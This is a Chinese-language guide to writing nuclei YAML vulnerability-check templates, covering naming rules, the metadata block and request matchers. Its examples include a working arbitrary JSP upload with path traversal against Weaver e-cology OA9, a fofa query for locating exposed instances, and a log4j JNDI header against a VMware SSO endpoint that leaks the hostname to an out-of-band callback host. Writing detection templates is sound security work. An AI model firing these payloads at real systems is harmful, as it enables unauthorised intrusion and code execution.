POC三大部分
一个完整的POC是由三部分构成,名称、信息、请求分别对应着id、info、requests。
不要吝啬换行,为了POC的高可读性,这三部分记得用空行隔开。
1. 命名规范¶
id: weaver-ecology-uploadoperation-file-upload
info:
name: 泛微OA9 uploadOperation.jsp任意文件上传
author: FQ_Hsu
severity: high
description: 泛微OA9前台任意文件上传,漏洞位于/page/exportImport/uploadOperation.jsp文件中,一个multipartRequest就可以成功上传。
reference:
- https://github.com/YinWC/2021hvv_vul/blob/master/0408/%E6%B3%9B%E5%BE%AEOA9%E5%89%8D%E5%8F%B0%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0.md
# fofa_query: app="泛微-协同办公OA" || app="Weaver-OA"
tags: ecology,getshell,rce,upload
关于POC命名,也就是上图id字段,这是一个POC编写的第一部分,请遵循如下之一规范(不要存在中文,全部英文小写):
- django-debug-page-info-leak
框架名-服务名-产品名等-通用漏洞名称
- chanjet-tplus-sa-file-upload
产品名-漏洞存在位置-通用漏洞名称(如果是0day漏洞,注意模糊化命名)
- wso2-cve-2022-29464-rce
产品名-cve/cnvd编号-通用漏洞类型缩写名称
注:有时候国内这些红队高关注组件、产品常常某个漏洞类型不只存在一个,所以在每个POC命名的时候名称需要独特化,以免POC名称重复。所有漏洞类型参见「附录 - 漏洞类型」。
在GreatMessage Web界面提交POC的时候,POC名称处记得和此id要一致。

错误案例¶
这个id名存在两个问题:第一是命名存在大小写不统一;第二是id不允许使用一些特殊字符,例如“.”,这个问题直接影响程序运行失败。

2. 漏洞信息¶
info:
name: 泛微OA9 uploadOperation.jsp任意文件上传
author: FQ_Hsu
severity: high
description: 泛微OA9前台任意文件上传,漏洞位于/page/exportImport/uploadOperation.jsp文件中,一个multipartRequest就可以成功上传。
reference:
- https://github.com/YinWC/2021hvv_vul/blob/master/0408/%E6%B3%9B%E5%BE%AEOA9%E5%89%8D%E5%8F%B0%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0.md
# fofa_query: app="泛微-协同办公OA" || app="Weaver-OA"
tags: ecology,getshell,rce,upload
metadata:
vendor: weaver
customField: customValue
也就是上面中的info及以下的所有:
name是漏洞标题名;author是编写POC的作者ID;severity为漏洞严重程度(分为四级:critical/high/medium/low);description为漏洞描述;reference为参考链接(支持多条);tags漏洞标签(支持中文);- 除此之外,也可以
metadata下方使用key: value的方式自定义其他需要添加的信息,或者使用#注释其他需要添加的信息。
3. 请求匹配¶
第三部分就是请求匹配,这也是一个POC主要关注的地方。在这一部分里主要关注三个点,分别是:请求、提取、匹配,分别对应着:requests、extractors、matchers。
请求即是发送请求;提取就是在涉及到多个请求时,例如文件上传漏洞,从第一个请求返回的body或header中提取文件的路径(支持json和正则等方式),作为一个变量参数放在下一个请求中去验证文件是否上传成功,当然在大部分只有一个请求时,这个并不会用到。匹配也就是匹配了。
3.1 基础请求与匹配¶
method:指定HTTP请求方法;path:请求的URL路径,通常只需在{{BaseURL}}后面跟请求的URI;body:请求body如果是GET或HEAD等请求,则不需要body,直接删除整行;headers:下方可以添加一些HTTP头,不需要则可以都删掉;redirects:重定向,一般建议为false;matchers-condition:matchers条件,and或者or;-
matchers:对请求的响应进行不同类型的灵活比较; -
type:共支持6种不同形式,分别为:status、size、word、regex、binary、dsl。
更多关于matchers的介绍,可以参考官方文档:https://nuclei.projectdiscovery.io/templating-guide/operators/matchers/,有不懂的写法可以钉钉本人F9 Hѕυ。
通过下面这个yaml POC来快速了解学习使用基础的方式发送一个POST请求。
requests:
- method: POST
path:
- "{{BaseURL}}/login"
body: "user=admin&password=P@SSW0RD"
headers:
Content-Type: application/x-www-form-urlencoded
redirects: false
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "login success"
part: body
通过判断状态码是否为200以及页面中是否存在login success,matchers-condition: and意味着如果这两个条件同时成立则意味着漏洞存在,运行结果如下。
nuclei -t exampleapp-default-login.yaml -u http://example.com
__ _
____ __ _______/ /__ (_)
/ __ \/ / / / ___/ / _ \/ /
/ / / / /_/ / /__/ / __/ /
/_/ /_/\__,_/\___/_/\___/_/ 2.5.0
projectdiscovery.io
[INF] Using Nuclei Engine 2.5.0 (latest)
[INF] Using Nuclei Templates 8.1.2 (latest)
[INF] Templates added in last update: 50
[INF] Templates loaded for scan: 1
[2021-09-15 10:28:23] [exampleapp-default-login] [http] [medium] http://example.com/
3.2 RAW请求&&DSL匹配¶
RAW的方式(注意缩进),方便在于可以直接从BurpSuite中将原始请求复制过来(注意Host头为{{Hostname}})。此处安利一款名为nuclei-burp-plugin的插件辅助我们极速地从BurpSuite的原始HTTP包转化成yaml POC。这个POC为确保随机性编写原则还使用了三个{{randstr}}变量(后面会详细解释),另外matchers使用到了DSL高级语法,通过语句大致可以看出来,第一条是在判断状态码是否等于200,第二条判断第二个请求的响应body部分是否存在预期的随机化字符串,如果两条同时成立则此漏洞存在。
req-condition: true:自动为请求分配编号并保存它们的历史记录。一般在要发送多个请求的POC中会用到,如下使用的body_2。
requests:
- raw:
- |
POST /index.jsp HTTP/1.1
Host: {{Hostname}}
Content-Length: 371
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarytiDg1aubSTniDLrs
Cookie: ecology_JSessionid=aaaJ8sC_hiKtm6Ms1-8Yx
Accept-Language: zh-CN,zh;q=0.9
------WebKitFormBoundarytiDg1aubSTniDLrs
Content-Disposition: form-data; name="upload"; filename="../../{{randstr_1}}.jsp"
Content-Type: application/octet-stream
<%
out.println("{{randstr_2}}" + "{{randstr_3}}");
new java.io.File(application.getRealPath(request.getServletPath())).delete();
%>
------WebKitFormBoundarytiDg1aubSTniDLrs--
- |
GET /{{randstr_1}}.jsp HTTP/1.1
Host: {{Hostname}}
req-condition: true
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body_2, "{{randstr_2}}{{randstr_3}}")'
condition: and
3.3 带外检测匹配¶
- {{interactsh-url}}
这是一个内置变量,当遇到利用需要带外检测的漏洞时,通常需要使用到这个变量。例如VMware某虚拟化产品存在log4j jndi注入漏洞。
requests:
- raw:
- |
GET /websso/SAML2/SSO/vsphere.local?SAMLRequest= HTTP/1.1
Host: {{Hostname}}
X-Forwarded-For: ${jndi:dns://${env:hostName}.{{interactsh-url}}}
Upgrade-Insecure-Requests: 1
matchers-condition: or
matchers:
- type: word
part: interactsh_protocol
name: http
words:
- "http"
- type: word
part: interactsh_protocol
name: dns
words:
- "dns"
更多用法请参阅nuclei官方文档:https://nuclei.projectdiscovery.io/templating-guide/protocols/http
关于请求匹配的严谨性会在下面段落作详细说明。